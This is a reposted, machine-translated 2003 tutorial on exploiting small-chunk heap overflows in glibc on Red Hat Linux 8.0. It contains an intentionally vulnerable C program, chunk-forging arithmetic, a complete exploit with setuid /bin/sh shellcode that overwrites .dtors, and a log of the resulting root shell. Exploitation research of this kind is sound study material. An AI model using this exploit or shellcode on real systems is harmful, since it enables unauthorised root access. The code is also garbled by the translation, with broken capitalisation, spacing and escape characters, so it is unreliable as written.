[Analysis] A small heap overflow Method

Source: Internet
Author: User
Tags netconf
An alternative method of using Heap Overflow

Creation Time: Updated:
Article attributes: Reprinted
Source: http://www.cnhonker.com/index.php? Module = articles & act = view & type = 6 & id = 76 bkbll (bkbll@cnhonker.net
Article submitted: watercloud (watercloud_at_xfocus.org)

Abstract: http://www.cnhonker.com/index.php? Module = articles & act = view & type = 6 & id = 76

An alternative method of using Heap Overflow
Bkbll (bkbll@cnhonker.net)
2003-9-1
[1]. What is heap overflow?
Heap Overflow is similar to stack overflow, which occurs in the BSS area. there are many articles about heap overflow, the entry level w00w00 <w00w00 on heap overflows>, the Chinese version of this article is written by warning3, the article address is: http://www.w00w00.org/files/articles/heaptut-chinese.txt, the English version is: http://www.w00w00.org/files/articles/heaptut.txt, which is also written by warning3: <a new heap overflow Technology Analysis>, the article in:
Http://www.nsfocus.net/index.php? Act = sec_self &; DO = view & doc_id = 529 & keyword = heap
This article assumes that you understand the meaning of these two articles.
[2]. system dependent in this article
All the programs in this article are successfully debugged on the Rh Linux 8.0 default install platform. the utilization of small heap makes sense in glibc> = 2.2.5. In glibc 2.2.4 (RH 7.2), the method of using warning3 is completely feasible, so this article assumes that you are using the platform glibc> = 2.2.5. the version on RH Linux 8.0 is a glibc-2.2.93-5.
[3]. Differences with glibc <= 2.2.5
Let's take a look at the malloc Source Code. For Analysis of earlier versions, see the article in warning3. The source code analysis of later versions is as follows (int_free function, because the function is long, break it down ):
Void _ int_free (mstate AV, void_t * MEm)
{
If (MEM! = 0) {// If mem! = NULL
P = mem2chunk (MEM );
Size = chunksize (P );
Check_inuse_chunk (AV, P );
If (unsigned long) (size) <= (unsigned long) (AV-> max_fast) // here, if it is a small heap <64 bytes
# If trim_fastbins
& (Chunk_at_offset (p, size )! = Av-> top) // and the next block is not the top Block
# Endif
){
Set_fastchunks (AV );
Fb = & (AV-> fastbins [fastbin_index (size)]);
P-> FD = * FB;
* Fb = P;
}
Else if (! Chunk_is_mmapped (p) // If the block has no MMAP bit
{
Nextchunk = chunk_at_offset (p, size );
Nextsize = chunksize (nextchunk );
Assert (nextsize> 0 );
/* Specify lidate backward */
If (! Prev_inuse (p) // if the size of the current block indicates that the previous block is not used
{
Prevsize = p-> prev_size;
Size + = prevsize;
P = chunk_at_offset (p,-(long) prevsize ));
Unlink (p, BCK, FWD); // merge with the previous one
}
If (nextchunk! = Av-> top)
{
/* Get and clear inuse bit */
Nextinuse = inuse_bit_at_offset (nextchunk, nextsize );
// # Define clear_inuse_bit_at_offset (P, S) (mchunkptr) (char *) (p) + (s)-> size & = ~ (Prev_inuse ))
/* Specify lidate forward */
If (! Nextinuse) // if the next block is not used, merge the block
{
Unlink (nextchunk, BCK, FWD );
Size + = nextsize;
}
............
}
Else // if this block is next to the top Block
{
.........
}
/* Note that if the merged size is greater than 0xffff )*/
If (unsigned long) (size)> = fastbin_consolidation_threshold)
{
If (have_fastchunks (AV ))
Malloc_1_lidate (AV );
.......
}
}
Else {// For MMAP
.............
}
}
}
To sum up, the differences are:
1. When the free heap size is less than 64 bytes, a fast processing method is used.
2. when the size after merging is greater than 0xffff, there is another process. If you use a forged chunk to process this process, it is difficult to ensure that no error occurs, therefore, the size after merging is smaller than 0xffff.
3. The block size must be a multiple of 8.
The comparison process of 1 and 2 uses the (unsigned long) type to compare, so here, a negative number can escape the limit of 1, and 2 won't work. If the size is a negative number, it will determine the failure. This will jump to a complicated calculation process, so the size here must not be a negative number.
[4]. A program with a vulnerability:
/* Just for fun */
# Include <stdio. h>
# Include <stdlib. h>
# Include <unistd. h>

Main (INT argc, char ** argv)
{
Char * P1;
Char * P2;

If (argc <2)
{
Printf ("Usage: % S <string>/N", argv [0]);
Exit (0 );
}
If (strlen (argv [1])> 40-1)
{
Printf ("error: Too Long/N ");
Exit (0 );
}
P1 = (char *) malloc (20 );
P2 = (char *) malloc (40 );
Memset (P1, 0, 20 );
Memset (P2, 0, 40 );
Strcpy (P2, argv [1]);
Strcpy (P1, P2 );
Printf ("[+] input: % s/n", P1 );
Memset (P2, 0, 40 );
Free (P1 );
Free (P2 );
Exit (0 );
}
[5]. Thoughts on using methods
It seems that the method used by heap overflow is the same as that used in the past. If chunk2 and chunk3 are forged, exp can be written. However, because the first block is a small block, the method used is different.
From the perspective of the memory structure, we can cover the prev_size of P2 and the size of P2. these two locations control the key data of the first and last blocks of P2. Therefore, we can forge the first and last blocks as long as the inuse bit is properly controlled, we can use the unlik operation to write any four bytes of data to any place.
Note that the size must be a positive number, and the value must be smaller than 0xffff. here we have two options (for the convenience of description, we name the first block of P2 as P1, the latter block as P3, And the next block of P3 as P4)
1. Use forged P1 to perform unlink operations. You only need to clear the prev_inuse bit of P2.
2. Use forged P3 to perform the unlink operation. Because it is determined later whether P3 is used, it is necessary to forge P4.
If you want to use forged P3 for unlink operations, because the size> 0 should be taken into account, here you need to consider two cases (using strcpy, So there cannot be 0x00 in the data ):
1. p2 size> 0 because P2 itself can contain 0x00. in this way, P3 can only be followed by P2, but in the program, the data after P2 is basically 0, and FD and BK data of P3 cannot be filled. so it is unlikely.
2. p2 size <0 requires P3 size> 0 and 0 xFFFF> (P3-> size + P2-> size)> 0. in addition, P4, Which is forged through P3-> size, must meet our requirements. The most important thing is that there cannot be 0x00 in memory blocks with four bytes of P3-> size. it seems that no such position can be found in the memory to store our P3. If you have a more appropriate method, please contact us.
From the above analysis, we can see that the difficulty coefficient for unlink operations using forged P3 blocks is too large. We can see that using forged P1 is not feasible.
Because the address of P1 is calculated as follows: P1 ADDR = P2 ADDR-P2-> prev_size, and the memory after P2 is basically all 0, the prev_size here must be a positive number, however, because we need to overwrite the P2 size, the prev_size memory block cannot have 0x00 data. Here, the P2-> prev_size can only be a very large positive number. it seems to be unfeasible at first, but we think that our stack data starts with 0xbffff. If we think of this address as a signed number, it will happen to be a negative number, from the source code analysis, we can see that the addition of size is all signed operations, so can we put the P1 structure in our stack? In this way, we can place p1 in the stack through a very large positive number.
P1 is determined. To ensure that 0 xFFFF> (P2-> size + p1-> size)> 0, we can control P3, we need to carefully construct a P2-> size, and set the Non-use bit of P1 for this data. does it seem impossible? Let's take a look at a wonderful mathematical transformation.
Assume that P2 is p2addr, P1 is p1addr, P1 is p1size, P2 is p2size, P3 is p3addr, p1size + p2size = offset, this offset must be greater than 0 and less than 0xffff.
Here are several equations:

P2addr-p1size = p1addr ------------ ①
P2addr + p2size = p3addr ------------ ②
P1size + p2size = offset ------------ ③

②-① Get:
P2size + p1size = p3addr-p1addr
Into ③:
Offset = p3addr-p1addr, that is:
P3addr = p1addr + offset.
Our P1 is placed on the stack, so long as we add a little offset to get our P3, then P4 can be forged smoothly.
Now there is only one problem: p3addr-p2addr, that is, p2size, must be set to non-map and non-use bits. p2size must be a multiple of 8. In this case, the last data of p2size must be 8.
At this time, another problem arises. How can we construct the data to ensure that the P3 structure meets the requirements, and the last difference between the P3 address and the P2 address is 8? How can this data be ensured to exist?
After thinking, we can imagine that our P1 and P3 data are like this:

| AAAA | FD | BK | AAA. AAAAA | AAAA | p3size | ....
P1 p3

Because we don't need to care about the prev_size of P1 and the size of P1, but we only need to care whether the inuse of P4 size is 0, we set P3-> size to 0xfffffff8 (-8), so P4 = P3 + P3-> size = p3-8, so long as the * (char *) (p3-1) the last bit of data is 1. the filled a can meet the requirements. we can keep up with our shellcode after the data of P1 and P3, so that the constructed data should be like this:

| Address to be replaced | xxxxxxxxxxxa | AAAA |-8 | shellcode |
P1 + 8 P1 + 12 p3

Let's go back to the question just now. How can we ensure that the P3 address meets the requirements.
We can consider this as follows: the memory stores xxxa | AAAA |-8 | such a structure multiple times. We need to check the length of xxxa | AAAA. our goal is to find the qualified xxxxa | AAAA |-8 | structure after a limited 16-Bit Data loop. let's write a small program to check:
[Netconf @ linux1 challenge] $ cat test1.c

/* Test for 32 bits value */
# Include <stdio. h>
# Include <stdlib. h>
# Include <unistd. h>

# Define size 200
# Define pad 5
# Define FG 'A'
# Define ADDR 0xfffffff8

Void Foo (INT offset, char * buffer)
{
Int I, found = 0;

For (I = offset; I <strlen (buffer); I + = 16)
{
If (buffer [I] = FG) & (buffer [I + 1] = FG) & (buffer [I + 2] = FG) & (buffer [I + 3] = FG) & (* (unsigned int *) (buffer + I + 4) = ADDR ))
{
Printf ("[+] Found. i: % 3d, cont: % c addr: % P/N ", I, buffer [I], buffer [I + 1], buffer [I + 2], buffer [I + 3], * (unsigned int *) (buffer + I + 4 ));
Found = 1;
Continue;
}
}
If (found = 0) printf ("[-] Not found/N ");
}

Main (INT argc, char ** argv)
{
Char buffer [size];
Int I, J;
Int Pd = pad;

If (argc> 1) Pd = atoi (argv [1]);
Memset (buffer, 0, size );
For (I = 0; I <size-1; I + = Pd + 4)
{
Memset (buffer + I, FG, PD );
* (Unsigned int *) (buffer + I + Pd) = ADDR;
}
Printf ("[+] pad = % d/n", PD );
For (j = 0; j <PD; j ++)
{
Printf ("[+] offset: % d/N", J );
Foo (J, buffer );
}
}

[Netconf @ linux1 challenge] $
Let's check the number of pads that meet the requirements from 1 to 9 respectively:

[Netconf @ linux1 challenge] $ gcc-O test1 test1.c
[Netconf @ linux1 challenge] $./test1 1
[+] Pad = 1

[+] Offset: 0
[-] Not found
[Netconf @ linux1 challenge] $./test1 2
[+] Pad = 2

[+] Offset: 0
[-] Not found
[+] Offset: 1
[-] Not found
[Netconf @ linux1 challenge] $./test1 3
[+] Pad = 3

[+] Offset: 0
[-] Not found
[+] Offset: 1
[-] Not found
[+] Offset: 2
[-] Not found
[Netconf @ linux1 challenge] $./test1 4
[+] Pad = 4

[+] Offset: 0
[+] Found. I: 0, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 16, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 32, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 48, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 64, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 80, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 96, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 112, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 128, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 144, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 160, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 176, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 192, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 1
[-] Not found
[+] Offset: 2
[-] Not found
[+] Offset: 3
[-] Not found
[Netconf @ linux1 challenge] $./test1 5
[+] Pad = 5

[+] Offset: 0
[+] Found. I: 64, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 1
[+] Found. I: 1, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 145, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 2
[+] Found. I: 82, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 3
[+] Found. I: 19, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 163, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 4
[+] Found. I: 100, cont: AAAA ADDR: 0xfffffff8
[Netconf @ linux1 challenge] $./test1 6
[+] Pad = 6

[+] Offset: 0
[+] Found. I: 32, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 112, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 192, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 1
[-] Not found
[+] Offset: 2
[+] Found. I: 2, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 82, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 162, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 3
[-] Not found
[+] Offset: 4
[+] Found. I: 52, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 132, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 5
[-] Not found
[Netconf @ linux1 challenge] $./test1 7
[+] Pad = 7

[+] Offset: 0
[+] Found. I: 80, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 1
[+] Found. I: 113, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 2
[+] Found. I: 146, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 3
[+] Found. I: 3, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 179, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 4
[+] Found. I: 36, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 5
[+] Found. I: 69, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 6
[+] Found. I: 102, cont: AAAA ADDR: 0xfffffff8
[Netconf @ linux1 challenge] $./test1 8
[+] Pad = 8

[+] Offset: 0
[+] Found. I: 16, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 64, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 112, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 160, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 1
[-] Not found
[+] Offset: 2
[-] Not found
[+] Offset: 3
[-] Not found
[+] Offset: 4
[+] Found. I: 4, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 52, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 100, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 148, cont: AAAA ADDR: 0xfffffff8
[+] Found. I: 196, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 5
[-] Not found
[+] Offset: 6
[-] Not found
[+] Offset: 7
[-] Not found
[Netconf @ linux1 challenge] $./test1 9
[+] Pad = 9

[+] Offset: 0
[+] Found. I: 96, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 1
[+] Found. I: 161, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 2
[+] Found. I: 18, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 3
[+] Found. I: 83, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 4
[+] Found. I: 148, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 5
[+] Found. I: 5, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 6
[+] Found. I: 70, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 7
[+] Found. I: 135, cont: AAAA ADDR: 0xfffffff8
[+] Offset: 8
[+] Found. I: 200, cont: AAAA ADDR: 0xfffffff8
[Netconf @ linux1 challenge] $

From the above calculation, we can see that no matter how many buffer Start Addresses, when the pad is 5, 7, 9, such a location that meets the conditions can always be found after a limited list. we take the minimum data 5 to construct our P3.
[6]. Our exp
In this way, we can write the Exploit:
[Netconf @ linux1 challenge] $ cat exp4.c

/* Exp4 */
# Include <stdlib. h>
# Include <stdio. h>
# Include <unistd. h>

# Define size 20
# Define fill 200/* Number of P3 structures to be filled to meet requirements */
# Define pad 5
# Define want_write_to_addr 0x080496dc + 4-3*4/*. dtors address */
# Define p2addr 0x08049738/* P2 address (chunk address )*/
# Define shell_addr 0xbfffffa7/* shellcode address */
# Define p3addr 0xbfffff60/* P2-> next address */
# Define p1addr (unsigned long) (shell_addr-(fill/(pad + 4) * (pad + 4)-0x08 + 1) /* P2-> Prev chunk address */
# Define vuln "./vul2"

Char shellcode [] =
"/Xeb/x0b/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/X31/XDB/x89/xd8/xb0/x17/XCD/X80"
"/X31/xc0/x50/x50/xb0/xb5/XCD/X80"
"/Xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/X46/x07/x89/X46/x0c/xb0/x0b"
"/X89/xf3/x8d/x4e/x08/x8d/x56/x0c/XCD/X80/x31/XDB/x89/xd8/X40/XCD"
"/X80/xe8/xdc/xFF/bin/sh ";

Main (INT argc, char * argv [])
{
Int I, size = size, size2, length;
Char * env [2], envbuf [400], buffer [100];
Unsigned long p1size, p2size, p1addr;

Memset (buffer, 0,100 );
If (argc> 1) size = atoi (argv [1]);
Length = (INT) (size + 4)/8;
If (length * 8 = (size + 4) Length --;
Length * = 8;

For (I = 0; I <length; I ++)
Buffer [I] = 'a ';
Size2 = P3ADDR-P1ADDR;
P1size = size2-(P3ADDR-P2ADDR );
P2size = P3ADDR-P2ADDR;
Printf ("p2size + p1size: % P + % P = % # x/N", p2size, p1size, p2size + p1size );
Printf ("p1addr: % P, p2addr: % P, p3addr = % P/N", p1addr, p2addr, p3addr );
* (Unsigned long *) (buffer + I) = p1size;
I + = 4;
* (Unsigned long *) (buffer + I) = p2size;
I + = 4;

Memset (envbuf, 0,400 );
Strcpy (envbuf, "str = ");
I = strlen (envbuf );
// Construct P1 and p3
* (Unsigned long *) (envbuf + I) = want_write_to_addr;
* (Unsigned long *) (envbuf + I + 4) = shell_addr;
I + = 8;
For (I; I <200; I + = 9)
{
Memset (envbuf + I, 'A', pad );
* (Unsigned long *) (envbuf + I + pad) = 0xfffffff8;
}
Memcpy (envbuf + I, shellcode, strlen (shellcode ));

Env [0] = envbuf;
Env [1] = NULL;
Execle (vuln, vuln, buffer, null, ENV );

}

Try:
[Netconf @ linux1 challenge] $./exp4
P2size + p1size: 0xb7fb6828 + 0x4804985e = 0x86
P1addr: 0 xbffffeda, p2addr: 0x8049738, p3addr = 0xbfffff60
[+] Input: aaaaaaaaaaaaaa ^ random (H
Sh-2.05b # ID
Uid = 0 (Root) gid = 500 (netconf) groups = 500 (netconf)
Sh-2.05b #
[7]. References:
1. warning3: <a new heap zone overflow technical analysis>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.